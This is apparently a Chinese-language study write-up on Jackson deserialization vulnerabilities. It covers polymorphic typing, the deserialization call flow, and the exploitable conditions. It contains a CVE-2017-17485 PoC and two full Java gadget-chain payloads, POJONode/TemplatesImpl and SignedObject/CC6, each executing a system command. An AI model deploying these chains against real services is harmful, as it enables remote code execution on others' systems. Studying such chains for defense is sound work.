Jackson反序列化漏洞学习
Jackson反序列化漏洞学习
依赖:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
demo:
public class User {
private String username;
private String password;
private Object object;
public User() {
}
public User(String username, String password, Object object) {
this.username = username;
this.password = password;
this.object = object;
}
public String getUsername() {
return username;
}
public String getPassword() {
return password;
}
public Object getObject() {
return object;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public void setObject(Object object) {
this.object = object;
}
}
public class JacksonTest {
public static void main(String[] args) throws Exception {
User user = new User("zhangsan", "123456",new Person());
ObjectMapper mapper = new ObjectMapper();
Person person = new Person();
// mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = mapper.writeValueAsString(user);
System.out.println(json);
User user2 = mapper.readValue(json, User.class);
System.out.println(user2);
}
}
Jackson库中用于读写JSON的主要类是ObjectMapper,它在com.fasterxml.jackson.databind 包中,可以序列化和反序列化两种类型的对象,使用方法如上,默认是只反序列化基本类型加上指定的类
为了解决多态问题,使用两种方法
- 1.通过DefaultTyping的配置解决多态问题
- 2.通过@JsonTypeInfo注解解决多态问题
将上述demo修改一下,漏洞分析
public class User2 {
public String name="Tana";
}
public User(String username, String password, Object object) {
this.username = username;
this.password = password;
this.object = object;
}
public class JacksonTest {
public static void main(String[] args) throws IOException {
User user = new User("Sentiment","123456", new User2());
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = mapper.writeValueAsString(user);
System.out.println(json);
User other = mapper.readValue(json,User.class);
System.out.println(other);
}
}
流程分析:
来到_readMapAndClose函数,首先获取反序列化器,然后开始反序列化


一直来到vanillaDeserialize
循环解析json然后反序列化处理,未知字段交给handleUnknowVanilla()处理

调用newInstance()创建实例

调用deserialize()取值

username字段与Object字段处理的不同点在于_valueTypeDeserializer

这个字段在如下函数赋值

真正处理不同的地方在findPropertyTypeDeserializer,username为空,object数组会有一个valueTypeDeser

"object":["com.kudo.Person"]而这种数组类型的会重新调用_deserialize
看一下如何加载User2,首先调用_locateTypeId返回字段,com.kudo.User2,如何调用了_findDeserializer中加载了

如下调用加载了User2,之后则与User的解析一致了包括这里的类加载,然后返回User2的值
findClass:251, TypeFactory (com.fasterxml.jackson.databind.type)
_typeFromId:68, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)
typeFromId:51, ClassNameIdResolver (com.fasterxml.jackson.databind.jsontype.impl)

回到这个函数,反序列化取值后都调用setter方法进行赋值,username字段调用setUsername 而User2这个对象调用setObject


漏洞场景:
满足下面三个条件之一即存在Jackson反序列化漏洞:
- 调用了ObjectMapper.enableDefaultTyping()函数
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解
1.属性不为Object类时
当要进行反序列化的类的属性所属类的构造函数或setter方法本身存在漏洞时,这种场景存在Jackson反序列化漏洞
2.属性为Object类时
寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用
CVE-2017-17485 ClassPathXmlApplicationContext利用链
ackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
poc:
["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1:8888/spel.xml"]
org.springframework.context.support.ClassPathXmlApplicationContext的构造函数会一直调用至spel解析
还有一些rce
原生反序列化链
POJONode链
从开始POJONode.toString开始,此类没有toString方法,寻找到父类toString方法,然后一路执行到下图所示invoke调用任意的getter方法,所以可以链接上Templates链#getOutputProperties

serializeAsField:688, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
如何调用POJONode.toString,即向前连接CC5中的BadAttributeValueExpException即可。
但是在序列化BadAttributeValueExpException会发现一个错误导致序列化失败
原因是:POJONode父类BaseJsonNode重写了writeReplace方法
Java原生序列化的特殊回调:writeReplace()是ObjectOutputStream序列化对象时的优先回调方法。若该方法存在,JVM会调用它并将返回值作为实际序列化的对象
不过这是本地可以控制的,我们只需要通过javassist的暂时的让这个类消失即可,如改名或者直接删除这个类

最后的payload
public class Jackson2 {
public static void setFieldValue(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
byte[] code = ctClass.toBytecode();
//装载Templates
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][]{code});
setFieldValue(template, "_name", "Evil");
CtClass ctClass2 = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
ctClass2.removeMethod(ctClass2.getDeclaredMethod("writeReplace"));
ctClass2.toClass();
POJONode jsonNodes = new POJONode(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonNodes);
//序列化
new ObjectOutputStream(new FileOutputStream("jackson.bin")).writeObject(badAttributeValueExpException);
//反序列化
new ObjectInputStream(new FileInputStream("jackson.bin")).readObject();
}
}
SignedObject二次反序列化链
在上面POJONode的基础上套一层反序列化,利用SignedObject#getObject会进行反序列化

构造函数构造即可

如加入CC依赖的payload
payload:
public class Jackson_SignedObject {
public static void main(String[] args) throws Exception {
//删除writeReplace
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass2 = classPool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
ctClass2.removeMethod(ctClass2.getDeclaredMethod("writeReplace"));
ctClass2.toClass();
//CC6
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),new String());
HashMap<Object,Object> hashMap = new HashMap();
hashMap.put(tiedMapEntry,"b");
Class tiedMapEntryClass = java.lang.Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Field mapField = tiedMapEntryClass.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(tiedMapEntry,lazyMap);
//构造signedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(), Signature.getInstance("DSA"));
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, node);
//序列化
new ObjectOutputStream(new FileOutputStream("jackson.bin")).writeObject(bad);
//反序列化
new ObjectInputStream(new FileInputStream("jackson.bin")).readObject();
}
}
参考:

浙公网安备 33010602011771号